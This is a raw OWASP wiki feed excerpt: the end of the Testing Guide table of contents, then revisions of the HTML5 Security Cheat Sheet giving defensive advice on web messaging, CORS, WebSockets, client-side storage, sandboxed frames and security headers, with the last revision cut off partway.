[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly &amp;quot;Analysis of Error Codes (OWASP-IG-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly &amp;quot;Analysis of Stack Traces&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Cryptography|'''4.10 Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly &amp;quot;Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly &amp;quot;Testing for Padding Oracle (OWASP-EN-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test&lt;br /&gt;
&lt;br /&gt;
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly &amp;quot;Incorrect time&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.12 Business Logic Testing  (OWASP-BL-001)''']] [To review--&amp;gt; David Fern]&lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section&lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Denial of Service|'''4.13 Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly &amp;quot;Testing for CAPTCHA (OWASP-AT-012)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly &amp;quot;Scoping a Web Service Test (OWASP-WS-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly &amp;quot;WS Information Gathering (OWASP-WS-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly &amp;quot;WS Authentication Testing (OWASP-WS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly &amp;quot;WS Management Interface Testing (OWASP-WS-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly &amp;quot;Weak XML Structure Testing (OWASP-WS-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly &amp;quot;XML Content-Level Testing (OWASP-WS-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly &amp;quot;WS HTTP GET Parameters/REST Testing (OWASP-WS-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly &amp;quot;WS Naughty SOAP Attachment Testing (OWASP-WS-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly &amp;quot;WS Replay/MiTM Testing (OWASP-WS-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly &amp;quot;WS BEPL Testing (OWASP-WS-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.15 Client Side Testing''']] [New!] &lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting  (OTG-CLIENT-001)]] formerly &amp;quot;Testing for DOM based Cross Site Scripting  (OWASP-CS-001)&amp;quot; [Stefano Di Paola]&lt;br /&gt;
&lt;br /&gt;
[[Test Cross Origin Resource Sharing (OTG-CLIENT-002)|4.15.2 Test Cross Origin Resource Sharing (OTG-CLIENT-002)]] formerly &amp;quot;Testing for HTML5 (OWASP CS-002)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing   (OTG-CLIENT-003)]] formerly &amp;quot;Testing for Cross Site Flashing   (OWASP-CS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly &amp;quot;Testing for Clickjacking (OWASP-CS-004)&amp;quot; [Davide Danelon]&lt;br /&gt;
&lt;br /&gt;
[[Testing WebSockets (OTG-CLIENT-005)|4.15.5 Testing WebSockets (OTG-CLIENT-005)]] [Ryan Dewhurst]&lt;br /&gt;
&lt;br /&gt;
[[Test Web Messaging (OTG-CLIENT-006)|4.15.6 Test Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Test Local Storage (OTG-CLIENT-007)|4.15.7 Test Local Storage (OTG-CLIENT-007)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; David Fern]&lt;br /&gt;
* Books [To review--&amp;gt; David Fern]&lt;br /&gt;
* Useful Websites [To review--&amp;gt; David Fern]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
[To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTML5_Security_Cheat_Sheet&amp;diff=159811</id>
		<title>HTML5 Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTML5_Security_Cheat_Sheet&amp;diff=159811"/>
				<updated>2013-10-06T15:33:40Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
&lt;br /&gt;
The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion. &lt;br /&gt;
&lt;br /&gt;
=  General Guidelines =&lt;br /&gt;
&lt;br /&gt;
== Communication APIs ==&lt;br /&gt;
&lt;br /&gt;
=== Web Messaging  ===&lt;br /&gt;
&lt;br /&gt;
Web Messaging, also known as Cross Domain Messaging provides a means of messaging between documents from different origins in a way which is generally safer than the multiple hacks used in the past to accomplish this task, however, there are still some recommendations to keep in mind: &lt;br /&gt;
&lt;br /&gt;
*When posting a message, explicitly state the expected origin as the second argument to &amp;lt;tt&amp;gt;postMessage&amp;lt;/tt&amp;gt; rather than &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing. &lt;br /&gt;
*The receiving page should '''always''': &lt;br /&gt;
**Check the &amp;lt;tt&amp;gt;origin&amp;lt;/tt&amp;gt; attribute of the sender to verify the data is originating from the expected location, and &lt;br /&gt;
**Perform input validation on the &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; attribute of the event to ensure it's in the desired format.&lt;br /&gt;
*Don't assume you have control over data attribute. Single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] flaw in sending page allows attacker to send messages of any given format.&lt;br /&gt;
*Both pages should only interpret the exchanged messages as '''data'''. Never evaluate passed messages as code (e.g. via eval() )&amp;amp;nbsp;or insert it to a page DOM (e.g. via&amp;amp;nbsp;innerHTML) as that would create a DOM based XSS vulnerability. For more information see [[DOM based XSS Prevention Cheat Sheet|DOM based XSS Prevention Cheat Sheet]].&lt;br /&gt;
*To assign the data value to an element, instead of using a insecure method like &amp;lt;tt&amp;gt;element.innerHTML = data;&amp;lt;/tt&amp;gt; use the safer option &amp;lt;tt&amp;gt;element.textContent = data;&amp;lt;/tt&amp;gt;&lt;br /&gt;
*Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: &amp;lt;tt&amp;gt; if(message.orgin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) { /* ... */ }&amp;lt;/tt&amp;gt; is very insecure and will not have the desired behavior as www.owasp.org.attacker.com will match.&lt;br /&gt;
*If you need to embed external content/untrusted gadgets and allow user-controlled scripts which is highly discouraged, consider use a JavaScript rewriting framework such as [http://code.google.com/p/google-caja/ Google Caja] or check the information on [[#Sandboxed frames|sandboxed frames]]&lt;br /&gt;
&lt;br /&gt;
=== Cross Origin Resource Sharing  ===&lt;br /&gt;
&lt;br /&gt;
*Validate URLs passed to &amp;lt;tt&amp;gt;XMLHttpRequest.open&amp;lt;/tt&amp;gt;, current browsers allow these URLs to be cross domain and this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs.&lt;br /&gt;
*Ensure that URLs responding with &amp;lt;tt&amp;gt;Access-Control-Allow-Origin: *&amp;lt;/tt&amp;gt; do not include any sensitive content or information that might aid attacker in further attacks. Use &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt; header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain. &lt;br /&gt;
*Take special care when using &amp;lt;tt&amp;gt;Access-Control-Allow-Credentials: true&amp;lt;/tt&amp;gt; response header. Whitelist the allowed Origins and never echo back the &amp;lt;tt&amp;gt;Origin&amp;lt;/tt&amp;gt; request header in &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt;. &lt;br /&gt;
*Allow only selected, trusted domains in &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt; header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; wildcard nor blindly return the &amp;lt;tt&amp;gt;Origin&amp;lt;/tt&amp;gt; header content without any checks). &lt;br /&gt;
*Keep in mind that CORS does not prevent the requested data from going to an un-authenticated location - it's still important for the server to perform usual [[Cross-Site Request Forgery (CSRF)|CSRF]] prevention. &lt;br /&gt;
*While the RFC recommends a pre-flight request with the &amp;lt;tt&amp;gt;OPTIONS&amp;lt;/tt&amp;gt; verb, current implementations might not perform this request, so it's important that &amp;quot;ordinary&amp;quot; (&amp;lt;tt&amp;gt;GET&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;POST&amp;lt;/tt&amp;gt;) requests perform any access control necessary.&lt;br /&gt;
*For performance reasons pre-flight requests may be cached in client-side for certain amount of time (controlled by Access-Control-Max-Age header). The security model of CORS can be bypassed in case of header injection vulnerabilities in combination with pre-flight caching so add measures to prevent [[HTTP_Response_Splitting]] vulnerabilities in server side.&lt;br /&gt;
*Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs.&lt;br /&gt;
*Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
=== WebSockets  ===&lt;br /&gt;
&lt;br /&gt;
*Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and olders are outdated and insecure. &lt;br /&gt;
*Recommended version supported in latest versions of all current browsers is [http://tools.ietf.org/html/rfc6455 RFC 6455] (Supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50 and IE10).&lt;br /&gt;
*While it is relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross-Site-Scripting attack. These services might also be called directly from a malicious page or program. &lt;br /&gt;
*The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred.&lt;br /&gt;
*Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON never use the insecure eval() function, use the safe option JSON.parse() instead.&lt;br /&gt;
*Endpoints exposed through &amp;lt;tt&amp;gt;ws://&amp;lt;/tt&amp;gt; protocol are easily reversible to plaintext. Only &amp;lt;tt&amp;gt;wss://&amp;lt;/tt&amp;gt; (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks &lt;br /&gt;
*Spoofing the client is possible outside browser, so WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered. &lt;br /&gt;
*When implementing servers, check the &amp;lt;tt&amp;gt;Origin:&amp;lt;/tt&amp;gt; header in Websockets handshake. Though it might be spoofed outside browser, browsers always add the Origin of the page which initiated Websockets connection. &lt;br /&gt;
*As WebSockets client in browser is accessible through Javascript calls, all Websockets communication can be spoofed or hijacked through [[Cross Site Scripting Flaw|Cross-Site-Scripting]]. Always validate data coming through WebSockets connection.&lt;br /&gt;
&lt;br /&gt;
=== Server-Sent Events ===&lt;br /&gt;
&lt;br /&gt;
*Validate URLs passed to the &amp;lt;tt&amp;gt;EventSource&amp;lt;/tt&amp;gt; constructor, even though only same-origin URLs are allowed.&lt;br /&gt;
*As mentioned before, process the messages (&amp;lt;tt&amp;gt;event.data&amp;lt;/tt&amp;gt;) as data and never evaluate the content as HTML or script code.&lt;br /&gt;
*Check always the origin attribute of the message (&amp;lt;tt&amp;gt;event.origin&amp;lt;/tt&amp;gt;) to ensure the message is coming from a trusted domain, use a whitelist approach.&lt;br /&gt;
&lt;br /&gt;
== Storage APIs ==&lt;br /&gt;
&lt;br /&gt;
=== Local Storage ===&lt;br /&gt;
&lt;br /&gt;
*Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.&lt;br /&gt;
*Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed.&lt;br /&gt;
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage.&lt;br /&gt;
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into these objects too, so don't consider objects in these to be trusted.&lt;br /&gt;
*Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice.&lt;br /&gt;
*Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the &amp;lt;tt&amp;gt;httpOnly&amp;lt;/tt&amp;gt; flag.&lt;br /&gt;
*There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead.&lt;br /&gt;
&lt;br /&gt;
=== Client-side databases  ===&lt;br /&gt;
&lt;br /&gt;
*On November 2010 the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed which provides key/value database storage and methods for performing advanced queries.&lt;br /&gt;
*Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage. &lt;br /&gt;
*If utilized, WebDatabase content on client side can be vulnerable to SQLInjection and needs to have proper validation and parametrization.&lt;br /&gt;
*Like Local Storage, a single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into a web database too, so don't consider data in these to be trusted either.&lt;br /&gt;
&lt;br /&gt;
== Geolocation  ==&lt;br /&gt;
&lt;br /&gt;
*The Geolocation RFC recommends that the user agent ask the user's permission before calculating location, but whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling &amp;lt;tt&amp;gt;getCurrentPosition&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;watchPosition&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Web Workers  ==&lt;br /&gt;
&lt;br /&gt;
*Web Workers are allowed to use &amp;lt;tt&amp;gt;XMLHttpRequest&amp;lt;/tt&amp;gt; object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security. &lt;br /&gt;
*While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input. &lt;br /&gt;
*Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a&amp;amp;nbsp;[[DOM Based XSS|DOM Based XSS]]&amp;amp;nbsp;vulnerability.&lt;br /&gt;
&lt;br /&gt;
== Sandboxed frames  ==&lt;br /&gt;
&lt;br /&gt;
*Use the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute of an &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; for untrusted content&lt;br /&gt;
&lt;br /&gt;
*The &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute of an &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; enables restrictions on content within a &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt;. The following restrictions are active when the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute is set:&lt;br /&gt;
&lt;br /&gt;
#All markup is treated as being from a unique origin &lt;br /&gt;
#All forms and scripts are disabled &lt;br /&gt;
#All links are prevented from targeting other browsing contexts &lt;br /&gt;
#All features that triggers automatically are blocked &lt;br /&gt;
#All plugins are disabled&lt;br /&gt;
&lt;br /&gt;
It is possible to have a [http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox fine-grained control] over &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; capabilities using the value of the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute.&lt;br /&gt;
&lt;br /&gt;
*In old versions of user agents where this feature is not supported this attributed will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.&lt;br /&gt;
*Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header &amp;lt;tt&amp;gt;X-Frame-Options&amp;lt;/tt&amp;gt; which supports the &amp;lt;tt&amp;gt;deny&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;same-origin&amp;lt;/tt&amp;gt; values. Other solutions like framebusting &amp;lt;tt&amp;gt;if(window!== window.top) { window.top.location = location; }&amp;lt;/tt&amp;gt; are not recommended.&lt;br /&gt;
&lt;br /&gt;
== Offline Applications ==&lt;br /&gt;
&lt;br /&gt;
*Wether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted vary from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any &amp;lt;tt&amp;gt;manifest&amp;lt;/tt&amp;gt; file.&lt;br /&gt;
*Users should only cache trusted websites and clean the cache after browsing through open or insecure networks.&lt;br /&gt;
&lt;br /&gt;
== Progressive Enhancements and Graceful Degradation Risks  ==&lt;br /&gt;
&lt;br /&gt;
*The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the &amp;amp;lt;video&amp;amp;gt; tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed.&lt;br /&gt;
&lt;br /&gt;
== HTTP Headers to enhance security ==&lt;br /&gt;
&lt;br /&gt;
=== X-Frame-Options ===&lt;br /&gt;
&lt;br /&gt;
*This header can be used to prevent ClickJacking in modern browsers (IE6/IE7 don't support this header)&lt;br /&gt;
*Use the &amp;lt;tt&amp;gt;same-origin&amp;lt;/tt&amp;gt; attribute to allow being framed from urls of the same origin or &amp;lt;tt&amp;gt;deny&amp;lt;/tt&amp;gt; to block all. Example: &amp;lt;tt&amp;gt;X-Frame-Options: DENY&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== X-XSS-Protection ===&lt;br /&gt;
&lt;br /&gt;
*Enable XSS filter (only works for Reflected XSS)&lt;br /&gt;
*Example: &amp;lt;tt&amp;gt;X-XSS-Protection: 1; mode=block&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Strict Transport Security ===&lt;br /&gt;
&lt;br /&gt;
*Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks)&lt;br /&gt;
*Use includeSubDomains&lt;br /&gt;
*Example: Strict-Transport-Security: max-age=8640000; includeSubDomains&lt;br /&gt;
&lt;br /&gt;
=== Content Security Policy ===&lt;br /&gt;
&lt;br /&gt;
*Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting&lt;br /&gt;
*Example:  X-Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com&lt;br /&gt;
&lt;br /&gt;
=== Origin ===&lt;br /&gt;
&lt;br /&gt;
*Sent by CORS/WebSockets requests&lt;br /&gt;
*There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Mark Roxberry - mark.roxberry [at] owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Krzysztof Kotowicz - krzysztof [at] kotowicz.net &amp;lt;br/&amp;gt;&lt;br /&gt;
Will Stranathan - will [at] cltnc.us &amp;lt;br/&amp;gt;&lt;br /&gt;
Shreeraj Shah - shreeraj.shah [at] blueinfy.net &amp;lt;br/&amp;gt;&lt;br /&gt;
Juan Galiana Lara - jgaliana [at] owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTML5_Security_Cheat_Sheet&amp;diff=159810</id>
		<title>HTML5 Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTML5_Security_Cheat_Sheet&amp;diff=159810"/>
				<updated>2013-10-06T15:31:48Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: small change on CORS section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
&lt;br /&gt;
The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion. &lt;br /&gt;
&lt;br /&gt;
=  General Guidelines =&lt;br /&gt;
&lt;br /&gt;
== Communication APIs ==&lt;br /&gt;
&lt;br /&gt;
=== Web Messaging  ===&lt;br /&gt;
&lt;br /&gt;
Web Messaging, also known as Cross Domain Messaging provides a means of messaging between documents from different origins in a way which is generally safer than the multiple hacks used in the past to accomplish this task, however, there are still some recommendations to keep in mind: &lt;br /&gt;
&lt;br /&gt;
*When posting a message, explicitly state the expected origin as the second argument to &amp;lt;tt&amp;gt;postMessage&amp;lt;/tt&amp;gt; rather than &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing. &lt;br /&gt;
*The receiving page should '''always''': &lt;br /&gt;
**Check the &amp;lt;tt&amp;gt;origin&amp;lt;/tt&amp;gt; attribute of the sender to verify the data is originating from the expected location, and &lt;br /&gt;
**Perform input validation on the &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; attribute of the event to ensure it's in the desired format.&lt;br /&gt;
